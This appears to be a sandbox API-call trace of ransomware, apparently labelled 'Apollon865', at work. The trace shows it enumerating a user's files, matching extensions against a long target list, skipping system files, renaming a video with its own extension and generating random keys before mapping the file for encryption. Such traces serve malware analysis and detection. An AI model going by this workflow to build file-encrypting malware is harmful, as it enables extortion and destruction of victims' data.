	[0086.405] lstrcmpiW (lpString1="avi", lpString2="gdb") returned -1
	[0086.405] lstrlenW (lpString="gdb") returned 3
	[0086.405] lstrcmpiW (lpString1="avi", lpString2="gdb") returned -1
	[0086.405] lstrlenW (lpString="grdb") returned 4
	[0086.405] lstrcmpiW (lpString1=".avi", lpString2="grdb") returned -1
	[0086.405] lstrlenW (lpString="gwi") returned 3
	[0086.405] lstrcmpiW (lpString1="avi", lpString2="gwi") returned -1
	[0086.405] lstrlenW (lpString="hdb") returned 3
	[0086.405] lstrcmpiW (lpString1="avi", lpString2="hdb") returned -1
	[0086.406] lstrlenW (lpString="his") returned 3
	[0086.406] lstrcmpiW (lpString1="avi", lpString2="his") returned -1
	[0086.406] lstrlenW (lpString="ib") returned 2
	[0086.406] lstrcmpiW (lpString1="vi", lpString2="ib") returned 1
	[0086.406] lstrlenW (lpString="idb") returned 3
	[0086.406] lstrcmpiW (lpString1="avi", lpString2="idb") returned -1
	[0086.406] lstrlenW (lpString="ihx") returned 3
	[0086.406] lstrcmpiW (lpString1="avi", lpString2="ihx") returned -1
	[0086.406] lstrlenW (lpString="itdb") returned 4
	[0086.406] lstrcmpiW (lpString1=".avi", lpString2="itdb") returned -1
	[0086.406] lstrlenW (lpString="itw") returned 3
	[0086.406] lstrcmpiW (lpString1="avi", lpString2="itw") returned -1
	[0086.406] lstrlenW (lpString="jet") returned 3
	[0086.406] lstrcmpiW (lpString1="avi", lpString2="jet") returned -1
	[0086.406] lstrlenW (lpString="jtx") returned 3
	[0086.406] lstrcmpiW (lpString1="avi", lpString2="jtx") returned -1
	[0086.406] lstrlenW (lpString="kdb") returned 3
	[0086.406] lstrcmpiW (lpString1="avi", lpString2="kdb") returned -1
	[0086.406] lstrlenW (lpString="kexi") returned 4
	[0086.406] lstrcmpiW (lpString1=".avi", lpString2="kexi") returned -1
	[0086.406] lstrlenW (lpString="kexic") returned 5
	[0086.406] lstrcmpiW (lpString1="o.avi", lpString2="kexic") returned 1
	[0086.406] lstrlenW (lpString="kexis") returned 5
	[0086.406] lstrcmpiW (lpString1="o.avi", lpString2="kexis") returned 1
	[0086.406] lstrlenW (lpString="lgc") returned 3
	[0086.406] lstrcmpiW (lpString1="avi", lpString2="lgc") returned -1
	[0086.406] lstrlenW (lpString="lwx") returned 3
	[0086.406] lstrcmpiW (lpString1="avi", lpString2="lwx") returned -1
	[0086.406] lstrlenW (lpString="maf") returned 3
	[0086.406] lstrcmpiW (lpString1="avi", lpString2="maf") returned -1
	[0086.406] lstrlenW (lpString="maq") returned 3
	[0086.406] lstrcmpiW (lpString1="avi", lpString2="maq") returned -1
	[0086.406] lstrlenW (lpString="mar") returned 3
	[0086.406] lstrcmpiW (lpString1="avi", lpString2="mar") returned -1
	[0086.406] lstrlenW (lpString="marshal") returned 7
	[0086.406] lstrcmpiW (lpString1="WJo.avi", lpString2="marshal") returned 1
	[0086.406] lstrlenW (lpString="mas") returned 3
	[0086.407] lstrcmpiW (lpString1="avi", lpString2="mas") returned -1
	[0086.407] lstrlenW (lpString="mav") returned 3
	[0086.407] lstrcmpiW (lpString1="avi", lpString2="mav") returned -1
	[0086.407] lstrlenW (lpString="maw") returned 3
	[0086.407] lstrcmpiW (lpString1="avi", lpString2="maw") returned -1
	[0086.407] lstrlenW (lpString="mdbhtml") returned 7
	[0086.407] lstrcmpiW (lpString1="WJo.avi", lpString2="mdbhtml") returned 1
	[0086.407] lstrlenW (lpString="mdn") returned 3
	[0086.407] lstrcmpiW (lpString1="avi", lpString2="mdn") returned -1
	[0086.407] lstrlenW (lpString="mdt") returned 3
	[0086.407] lstrcmpiW (lpString1="avi", lpString2="mdt") returned -1
	[0086.407] lstrlenW (lpString="mfd") returned 3
	[0086.407] lstrcmpiW (lpString1="avi", lpString2="mfd") returned -1
	[0086.407] lstrlenW (lpString="mpd") returned 3
	[0086.407] lstrcmpiW (lpString1="avi", lpString2="mpd") returned -1
	[0086.407] lstrlenW (lpString="mrg") returned 3
	[0086.407] lstrcmpiW (lpString1="avi", lpString2="mrg") returned -1
	[0086.407] lstrlenW (lpString="mud") returned 3
	[0086.407] lstrcmpiW (lpString1="avi", lpString2="mud") returned -1
	[0086.407] lstrlenW (lpString="mwb") returned 3
	[0086.407] lstrcmpiW (lpString1="avi", lpString2="mwb") returned -1
	[0086.407] lstrlenW (lpString="myd") returned 3
	[0086.407] lstrcmpiW (lpString1="avi", lpString2="myd") returned -1
	[0086.407] lstrlenW (lpString="ndf") returned 3
	[0086.407] lstrcmpiW (lpString1="avi", lpString2="ndf") returned -1
	[0086.407] lstrlenW (lpString="nnt") returned 3
	[0086.407] lstrcmpiW (lpString1="avi", lpString2="nnt") returned -1
	[0086.407] lstrlenW (lpString="nrmlib") returned 6
	[0086.407] lstrcmpiW (lpString1="Jo.avi", lpString2="nrmlib") returned -1
	[0086.407] lstrlenW (lpString="ns2") returned 3
	[0086.407] lstrcmpiW (lpString1="avi", lpString2="ns2") returned -1
	[0086.407] lstrlenW (lpString="ns3") returned 3
	[0086.407] lstrcmpiW (lpString1="avi", lpString2="ns3") returned -1
	[0086.407] lstrlenW (lpString="ns4") returned 3
	[0086.407] lstrcmpiW (lpString1="avi", lpString2="ns4") returned -1
	[0086.407] lstrlenW (lpString="nsf") returned 3
	[0086.407] lstrcmpiW (lpString1="avi", lpString2="nsf") returned -1
	[0086.407] lstrlenW (lpString="nv") returned 2
	[0086.408] lstrcmpiW (lpString1="vi", lpString2="nv") returned 1
	[0086.408] lstrlenW (lpString="nv2") returned 3
	[0086.408] lstrcmpiW (lpString1="avi", lpString2="nv2") returned -1
	[0086.408] lstrlenW (lpString="nwdb") returned 4
	[0086.408] lstrcmpiW (lpString1=".avi", lpString2="nwdb") returned -1
	[0086.408] lstrlenW (lpString="nyf") returned 3
	[0086.408] lstrcmpiW (lpString1="avi", lpString2="nyf") returned -1
	[0086.408] lstrlenW (lpString="odb") returned 3
	[0086.408] lstrcmpiW (lpString1="avi", lpString2="odb") returned -1
	[0086.408] lstrlenW (lpString="odb") returned 3
	[0086.408] lstrcmpiW (lpString1="avi", lpString2="odb") returned -1
	[0086.408] lstrlenW (lpString="oqy") returned 3
	[0086.408] lstrcmpiW (lpString1="avi", lpString2="oqy") returned -1
	[0086.408] lstrlenW (lpString="ora") returned 3
	[0086.408] lstrcmpiW (lpString1="avi", lpString2="ora") returned -1
	[0086.408] lstrlenW (lpString="orx") returned 3
	[0086.408] lstrcmpiW (lpString1="avi", lpString2="orx") returned -1
	[0086.408] lstrlenW (lpString="owc") returned 3
	[0086.408] lstrcmpiW (lpString1="avi", lpString2="owc") returned -1
	[0086.408] lstrlenW (lpString="p96") returned 3
	[0086.408] lstrcmpiW (lpString1="avi", lpString2="p96") returned -1
	[0086.408] lstrlenW (lpString="p97") returned 3
	[0086.408] lstrcmpiW (lpString1="avi", lpString2="p97") returned -1
	[0086.408] lstrlenW (lpString="pan") returned 3
	[0086.408] lstrcmpiW (lpString1="avi", lpString2="pan") returned -1
	[0086.408] lstrlenW (lpString="pdb") returned 3
	[0086.408] lstrcmpiW (lpString1="avi", lpString2="pdb") returned -1
	[0086.408] lstrlenW (lpString="pdm") returned 3
	[0086.408] lstrcmpiW (lpString1="avi", lpString2="pdm") returned -1
	[0086.408] lstrlenW (lpString="pnz") returned 3
	[0086.408] lstrcmpiW (lpString1="avi", lpString2="pnz") returned -1
	[0086.408] lstrlenW (lpString="qry") returned 3
	[0086.408] lstrcmpiW (lpString1="avi", lpString2="qry") returned -1
	[0086.408] lstrlenW (lpString="qvd") returned 3
	[0086.408] lstrcmpiW (lpString1="avi", lpString2="qvd") returned -1
	[0086.408] lstrlenW (lpString="rbf") returned 3
	[0086.408] lstrcmpiW (lpString1="avi", lpString2="rbf") returned -1
	[0086.408] lstrlenW (lpString="rctd") returned 4
	[0086.409] lstrcmpiW (lpString1=".avi", lpString2="rctd") returned -1
	[0086.409] lstrlenW (lpString="rod") returned 3
	[0086.409] lstrcmpiW (lpString1="avi", lpString2="rod") returned -1
	[0086.409] lstrlenW (lpString="rodx") returned 4
	[0086.409] lstrcmpiW (lpString1=".avi", lpString2="rodx") returned -1
	[0086.409] lstrlenW (lpString="rpd") returned 3
	[0086.409] lstrcmpiW (lpString1="avi", lpString2="rpd") returned -1
	[0086.409] lstrlenW (lpString="rsd") returned 3
	[0086.409] lstrcmpiW (lpString1="avi", lpString2="rsd") returned -1
	[0086.409] lstrlenW (lpString="sas7bdat") returned 8
	[0086.409] lstrcmpiW (lpString1="kWJo.avi", lpString2="sas7bdat") returned -1
	[0086.409] lstrlenW (lpString="sbf") returned 3
	[0086.409] lstrcmpiW (lpString1="avi", lpString2="sbf") returned -1
	[0086.409] lstrlenW (lpString="scx") returned 3
	[0086.409] lstrcmpiW (lpString1="avi", lpString2="scx") returned -1
	[0086.409] lstrlenW (lpString="sdb") returned 3
	[0086.409] lstrcmpiW (lpString1="avi", lpString2="sdb") returned -1
	[0086.410] lstrlenW (lpString="sdc") returned 3
	[0086.410] lstrcmpiW (lpString1="avi", lpString2="sdc") returned -1
	[0086.410] lstrlenW (lpString="sdf") returned 3
	[0086.410] lstrcmpiW (lpString1="avi", lpString2="sdf") returned -1
	[0086.410] lstrlenW (lpString="sis") returned 3
	[0086.410] lstrcmpiW (lpString1="avi", lpString2="sis") returned -1
	[0086.410] lstrlenW (lpString="spq") returned 3
	[0086.410] lstrcmpiW (lpString1="avi", lpString2="spq") returned -1
	[0086.410] lstrlenW (lpString="te") returned 2
	[0086.410] lstrcmpiW (lpString1="vi", lpString2="te") returned 1
	[0086.410] lstrlenW (lpString="teacher") returned 7
	[0086.410] lstrcmpiW (lpString1="WJo.avi", lpString2="teacher") returned 1
	[0086.410] lstrlenW (lpString="tmd") returned 3
	[0086.410] lstrcmpiW (lpString1="avi", lpString2="tmd") returned -1
	[0086.410] lstrlenW (lpString="tps") returned 3
	[0086.410] lstrcmpiW (lpString1="avi", lpString2="tps") returned -1
	[0086.410] lstrlenW (lpString="trc") returned 3
	[0086.410] lstrcmpiW (lpString1="avi", lpString2="trc") returned -1
	[0086.410] lstrlenW (lpString="trc") returned 3
	[0086.410] lstrcmpiW (lpString1="avi", lpString2="trc") returned -1
	[0086.410] lstrlenW (lpString="trm") returned 3
	[0086.410] lstrcmpiW (lpString1="avi", lpString2="trm") returned -1
	[0086.410] lstrlenW (lpString="udb") returned 3
	[0086.410] lstrcmpiW (lpString1="avi", lpString2="udb") returned -1
	[0086.410] lstrlenW (lpString="udl") returned 3
	[0086.410] lstrcmpiW (lpString1="avi", lpString2="udl") returned -1
	[0086.410] lstrlenW (lpString="usr") returned 3
	[0086.410] lstrcmpiW (lpString1="avi", lpString2="usr") returned -1
	[0086.410] lstrlenW (lpString="v12") returned 3
	[0086.410] lstrcmpiW (lpString1="avi", lpString2="v12") returned -1
	[0086.410] lstrlenW (lpString="vis") returned 3
	[0086.410] lstrcmpiW (lpString1="avi", lpString2="vis") returned -1
	[0086.410] lstrlenW (lpString="vpd") returned 3
	[0086.410] lstrcmpiW (lpString1="avi", lpString2="vpd") returned -1
	[0086.410] lstrlenW (lpString="vvv") returned 3
	[0086.410] lstrcmpiW (lpString1="avi", lpString2="vvv") returned -1
	[0086.410] lstrlenW (lpString="wdb") returned 3
	[0086.411] lstrcmpiW (lpString1="avi", lpString2="wdb") returned -1
	[0086.411] lstrlenW (lpString="wmdb") returned 4
	[0086.411] lstrcmpiW (lpString1=".avi", lpString2="wmdb") returned -1
	[0086.411] lstrlenW (lpString="wrk") returned 3
	[0086.411] lstrcmpiW (lpString1="avi", lpString2="wrk") returned -1
	[0086.411] lstrlenW (lpString="xdb") returned 3
	[0086.411] lstrcmpiW (lpString1="avi", lpString2="xdb") returned -1
	[0086.411] lstrlenW (lpString="xld") returned 3
	[0086.411] lstrcmpiW (lpString1="avi", lpString2="xld") returned -1
	[0086.411] lstrlenW (lpString="xmlff") returned 5
	[0086.411] lstrcmpiW (lpString1="o.avi", lpString2="xmlff") returned -1
	[0086.411] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\X0JMpELFNa\\3gCWEGz5kWJo.avi.Apollon865") returned 75
	[0086.411] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\X0JMpELFNa\\3gCWEGz5kWJo.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\x0jmpelfna\\3gcwegz5kwjo.avi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\X0JMpELFNa\\3gCWEGz5kWJo.avi.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\x0jmpelfna\\3gcwegz5kwjo.avi.apollon865"), dwFlags=0x1) returned 1
	[0086.412] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\X0JMpELFNa\\3gCWEGz5kWJo.avi.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\x0jmpelfna\\3gcwegz5kwjo.avi.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0086.412] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=101617) returned 1
	[0086.412] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0086.412] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0086.412] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf9a8
	[0086.412] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0086.413] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0086.413] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0086.413] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x19000, lpName=0x0) returned 0x15c
	[0086.413] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x19000) returned 0x120000
	[0086.417] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
	[0086.418] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0086.418] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0086.418] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0086.418] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0086.418] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0086.418] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0086.418] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0086.418] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0086.418] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0086.418] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0086.418] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0086.418] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0086.418] UnmapViewOfFile (lpBaseAddress=0x120000) returned 1
	[0086.419] CloseHandle (hObject=0x15c) returned 1
	[0086.419] CloseHandle (hObject=0x9c) returned 1
	[0086.421] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0086.421] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf9a8 | out: hHeap=0x580000) returned 1
	[0086.421] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0086.421] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ab0f6c0, ftCreationTime.dwHighDateTime=0x1d4c677, ftLastAccessTime.dwLowDateTime=0x30187390, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x30187390, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="6eM5vJeVl2WNst9pxsqF", cAlternateFileName="6EM5VJ~1")) returned 1
	[0086.421] lstrcmpiW (lpString1="6eM5vJeVl2WNst9pxsqF", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0086.421] lstrcmpiW (lpString1="6eM5vJeVl2WNst9pxsqF", lpString2="Apollon865.txt.exe") returned -1
	[0086.421] lstrcmpiW (lpString1="6eM5vJeVl2WNst9pxsqF", lpString2=".") returned 1
	[0086.421] lstrcmpiW (lpString1="6eM5vJeVl2WNst9pxsqF", lpString2="..") returned 1
	[0086.421] lstrcmpiW (lpString1="6eM5vJeVl2WNst9pxsqF", lpString2="windows") returned -1
	[0086.421] lstrcmpiW (lpString1="6eM5vJeVl2WNst9pxsqF", lpString2="bootmgr") returned -1
	[0086.421] lstrcmpiW (lpString1="6eM5vJeVl2WNst9pxsqF", lpString2="temp") returned -1
	[0086.421] lstrcmpiW (lpString1="6eM5vJeVl2WNst9pxsqF", lpString2="pagefile.sys") returned -1
	[0086.422] lstrcmpiW (lpString1="6eM5vJeVl2WNst9pxsqF", lpString2="boot") returned -1
	[0086.422] lstrcmpiW (lpString1="6eM5vJeVl2WNst9pxsqF", lpString2="ids.txt") returned -1
	[0086.422] lstrcmpiW (lpString1="6eM5vJeVl2WNst9pxsqF", lpString2="ntuser.dat") returned -1
	[0086.422] lstrcmpiW (lpString1="6eM5vJeVl2WNst9pxsqF", lpString2="perflogs") returned -1
	[0086.422] lstrcmpiW (lpString1="6eM5vJeVl2WNst9pxsqF", lpString2="MSBuild") returned -1
	[0086.422] lstrlenW (lpString="6eM5vJeVl2WNst9pxsqF") returned 20
	[0086.422] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\X0JMpELFNa\\3gCWEGz5kWJo.avi") returned 64
	[0086.422] lstrcpyW (in: lpString1=0x119e668, lpString2="6eM5vJeVl2WNst9pxsqF" | out: lpString1="6eM5vJeVl2WNst9pxsqF") returned="6eM5vJeVl2WNst9pxsqF"
	[0086.422] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7b48
	[0086.422] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x8a) returned 0x5c8f30
	[0086.422] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b7b50 | out: ListHead=0x5b75f0, ListEntry=0x5b7b50) returned 0x5b7c90
	[0086.422] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9da24f80, ftCreationTime.dwHighDateTime=0x1d4d161, ftLastAccessTime.dwLowDateTime=0x32c9db20, ftLastAccessTime.dwHighDateTime=0x1d4c567, ftLastWriteTime.dwLowDateTime=0x32c9db20, ftLastWriteTime.dwHighDateTime=0x1d4c567, nFileSizeHigh=0x0, nFileSizeLow=0x10a9b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="87ocWvi.swf", cAlternateFileName="")) returned 1
	[0086.422] lstrcmpiW (lpString1="87ocWvi.swf", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0086.422] lstrcmpiW (lpString1="87ocWvi.swf", lpString2="Apollon865.txt.exe") returned -1
	[0086.422] lstrcmpiW (lpString1="87ocWvi.swf", lpString2=".") returned 1
	[0086.422] lstrcmpiW (lpString1="87ocWvi.swf", lpString2="..") returned 1
	[0086.422] lstrcmpiW (lpString1="87ocWvi.swf", lpString2="windows") returned -1
	[0086.422] lstrcmpiW (lpString1="87ocWvi.swf", lpString2="bootmgr") returned -1
	[0086.422] lstrcmpiW (lpString1="87ocWvi.swf", lpString2="temp") returned -1
	[0086.422] lstrcmpiW (lpString1="87ocWvi.swf", lpString2="pagefile.sys") returned -1
	[0086.422] lstrcmpiW (lpString1="87ocWvi.swf", lpString2="boot") returned -1
	[0086.422] lstrcmpiW (lpString1="87ocWvi.swf", lpString2="ids.txt") returned -1
	[0086.422] lstrcmpiW (lpString1="87ocWvi.swf", lpString2="ntuser.dat") returned -1
	[0086.422] lstrcmpiW (lpString1="87ocWvi.swf", lpString2="perflogs") returned -1
	[0086.422] lstrcmpiW (lpString1="87ocWvi.swf", lpString2="MSBuild") returned -1
	[0086.422] lstrlenW (lpString="87ocWvi.swf") returned 11
	[0086.422] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\X0JMpELFNa\\6eM5vJeVl2WNst9pxsqF") returned 68
	[0086.422] lstrcpyW (in: lpString1=0x119e668, lpString2="87ocWvi.swf" | out: lpString1="87ocWvi.swf") returned="87ocWvi.swf"
	[0086.422] lstrlenW (lpString="87ocWvi.swf") returned 11
	[0086.422] lstrlenW (lpString="Apollon865") returned 10
	[0086.422] lstrcmpiW (lpString1="7ocWvi.swf", lpString2="Apollon865") returned -1
	[0086.422] lstrlenW (lpString=".dll") returned 4
	[0086.422] lstrcmpiW (lpString1="87ocWvi.swf", lpString2=".dll") returned 1
	[0086.422] lstrlenW (lpString=".lnk") returned 4
	[0086.422] lstrcmpiW (lpString1="87ocWvi.swf", lpString2=".lnk") returned 1
	[0086.423] lstrlenW (lpString=".ini") returned 4
	[0086.423] lstrcmpiW (lpString1="87ocWvi.swf", lpString2=".ini") returned 1
	[0086.423] lstrlenW (lpString=".sys") returned 4
	[0086.423] lstrcmpiW (lpString1="87ocWvi.swf", lpString2=".sys") returned 1
	[0086.423] lstrlenW (lpString="87ocWvi.swf") returned 11
	[0086.423] lstrlenW (lpString="bak") returned 3
	[0086.423] lstrcmpiW (lpString1="swf", lpString2="bak") returned 1
	[0086.423] lstrlenW (lpString="ba_") returned 3
	[0086.423] lstrcmpiW (lpString1="swf", lpString2="ba_") returned 1
	[0086.423] lstrlenW (lpString="dbb") returned 3
	[0086.423] lstrcmpiW (lpString1="swf", lpString2="dbb") returned 1
	[0086.423] lstrlenW (lpString="vmdk") returned 4
	[0086.423] lstrcmpiW (lpString1=".swf", lpString2="vmdk") returned -1
	[0086.423] lstrlenW (lpString="rar") returned 3
	[0086.423] lstrcmpiW (lpString1="swf", lpString2="rar") returned 1
	[0086.423] lstrlenW (lpString="zip") returned 3
	[0086.423] lstrcmpiW (lpString1="swf", lpString2="zip") returned -1
	[0086.423] lstrlenW (lpString="tgz") returned 3
	[0086.423] lstrcmpiW (lpString1="swf", lpString2="tgz") returned -1
	[0086.423] lstrlenW (lpString="vbox") returned 4
	[0086.423] lstrcmpiW (lpString1=".swf", lpString2="vbox") returned -1
	[0086.423] lstrlenW (lpString="vdi") returned 3
	[0086.423] lstrcmpiW (lpString1="swf", lpString2="vdi") returned -1
	[0086.423] lstrlenW (lpString="vhd") returned 3
	[0086.423] lstrcmpiW (lpString1="swf", lpString2="vhd") returned -1
	[0086.423] lstrlenW (lpString="vhdx") returned 4
	[0086.423] lstrcmpiW (lpString1=".swf", lpString2="vhdx") returned -1
	[0086.423] lstrlenW (lpString="avhd") returned 4
	[0086.423] lstrcmpiW (lpString1=".swf", lpString2="avhd") returned -1
	[0086.423] lstrlenW (lpString="db") returned 2
	[0086.423] lstrcmpiW (lpString1="wf", lpString2="db") returned 1
	[0086.423] lstrlenW (lpString="db2") returned 3
	[0086.423] lstrcmpiW (lpString1="swf", lpString2="db2") returned 1
	[0086.423] lstrlenW (lpString="db3") returned 3
	[0086.423] lstrcmpiW (lpString1="swf", lpString2="db3") returned 1
	[0086.423] lstrlenW (lpString="dbf") returned 3
	[0086.423] lstrcmpiW (lpString1="swf", lpString2="dbf") returned 1
	[0086.423] lstrlenW (lpString="mdf") returned 3
	[0086.424] lstrcmpiW (lpString1="swf", lpString2="mdf") returned 1
	[0086.424] lstrlenW (lpString="mdb") returned 3
	[0086.424] lstrcmpiW (lpString1="swf", lpString2="mdb") returned 1
	[0086.424] lstrlenW (lpString="sql") returned 3
	[0086.424] lstrcmpiW (lpString1="swf", lpString2="sql") returned 1
	[0086.424] lstrlenW (lpString="sqlite") returned 6
	[0086.424] lstrcmpiW (lpString1="vi.swf", lpString2="sqlite") returned 1
	[0086.424] lstrlenW (lpString="sqlite3") returned 7
	[0086.424] lstrcmpiW (lpString1="Wvi.swf", lpString2="sqlite3") returned 1
	[0086.424] lstrlenW (lpString="sqlitedb") returned 8
	[0086.424] lstrcmpiW (lpString1="cWvi.swf", lpString2="sqlitedb") returned -1
	[0086.424] lstrlenW (lpString="xml") returned 3
	[0086.424] lstrcmpiW (lpString1="swf", lpString2="xml") returned -1
	[0086.424] lstrlenW (lpString="$er") returned 3
	[0086.424] lstrcmpiW (lpString1="swf", lpString2="$er") returned 1
	[0086.424] lstrlenW (lpString="4dd") returned 3
	[0086.424] lstrcmpiW (lpString1="swf", lpString2="4dd") returned 1
	[0086.424] lstrlenW (lpString="4dl") returned 3
	[0086.424] lstrcmpiW (lpString1="swf", lpString2="4dl") returned 1
	[0086.424] lstrlenW (lpString="^^^") returned 3
	[0086.424] lstrcmpiW (lpString1="swf", lpString2="^^^") returned 1
	[0086.424] lstrlenW (lpString="abs") returned 3
	[0086.424] lstrcmpiW (lpString1="swf", lpString2="abs") returned 1
	[0086.424] lstrlenW (lpString="abx") returned 3
	[0086.424] lstrcmpiW (lpString1="swf", lpString2="abx") returned 1
	[0086.424] lstrlenW (lpString="accdb") returned 5
	[0086.424] lstrcmpiW (lpString1="i.swf", lpString2="accdb") returned 1
	[0086.424] lstrlenW (lpString="accdc") returned 5
	[0086.424] lstrcmpiW (lpString1="i.swf", lpString2="accdc") returned 1
	[0086.424] lstrlenW (lpString="accde") returned 5
	[0086.424] lstrcmpiW (lpString1="i.swf", lpString2="accde") returned 1
	[0086.424] lstrlenW (lpString="accdr") returned 5
	[0086.424] lstrcmpiW (lpString1="i.swf", lpString2="accdr") returned 1
	[0086.424] lstrlenW (lpString="accdt") returned 5
	[0086.424] lstrcmpiW (lpString1="i.swf", lpString2="accdt") returned 1
	[0086.424] lstrlenW (lpString="accdw") returned 5
	[0086.425] lstrcmpiW (lpString1="i.swf", lpString2="accdw") returned 1
	[0086.425] lstrlenW (lpString="accft") returned 5
	[0086.425] lstrcmpiW (lpString1="i.swf", lpString2="accft") returned 1
	[0086.425] lstrlenW (lpString="adb") returned 3
	[0086.425] lstrcmpiW (lpString1="swf", lpString2="adb") returned 1
	[0086.425] lstrlenW (lpString="adb") returned 3
	[0086.425] lstrcmpiW (lpString1="swf", lpString2="adb") returned 1
	[0086.425] lstrlenW (lpString="ade") returned 3
	[0086.425] lstrcmpiW (lpString1="swf", lpString2="ade") returned 1
	[0086.425] lstrlenW (lpString="adf") returned 3
	[0086.425] lstrcmpiW (lpString1="swf", lpString2="adf") returned 1
	[0086.425] lstrlenW (lpString="adn") returned 3
	[0086.425] lstrcmpiW (lpString1="swf", lpString2="adn") returned 1
	[0086.425] lstrlenW (lpString="adp") returned 3
	[0086.425] lstrcmpiW (lpString1="swf", lpString2="adp") returned 1
	[0086.425] lstrlenW (lpString="alf") returned 3
	[0086.425] lstrcmpiW (lpString1="swf", lpString2="alf") returned 1
	[0086.425] lstrlenW (lpString="ask") returned 3
	[0086.425] lstrcmpiW (lpString1="swf", lpString2="ask") returned 1
	[0086.425] lstrlenW (lpString="btr") returned 3
	[0086.425] lstrcmpiW (lpString1="swf", lpString2="btr") returned 1
	[0086.425] lstrlenW (lpString="cat") returned 3
	[0086.425] lstrcmpiW (lpString1="swf", lpString2="cat") returned 1
	[0086.425] lstrlenW (lpString="cdb") returned 3
	[0086.425] lstrcmpiW (lpString1="swf", lpString2="cdb") returned 1
	[0086.425] lstrlenW (lpString="ckp") returned 3
	[0086.425] lstrcmpiW (lpString1="swf", lpString2="ckp") returned 1
	[0086.425] lstrlenW (lpString="cma") returned 3
	[0086.425] lstrcmpiW (lpString1="swf", lpString2="cma") returned 1
	[0086.425] lstrlenW (lpString="cpd") returned 3
	[0086.425] lstrcmpiW (lpString1="swf", lpString2="cpd") returned 1
	[0086.425] lstrlenW (lpString="dacpac") returned 6
	[0086.425] lstrcmpiW (lpString1="vi.swf", lpString2="dacpac") returned 1
	[0086.425] lstrlenW (lpString="dad") returned 3
	[0086.426] lstrcmpiW (lpString1="swf", lpString2="dad") returned 1
	[0086.426] lstrlenW (lpString="dadiagrams") returned 10
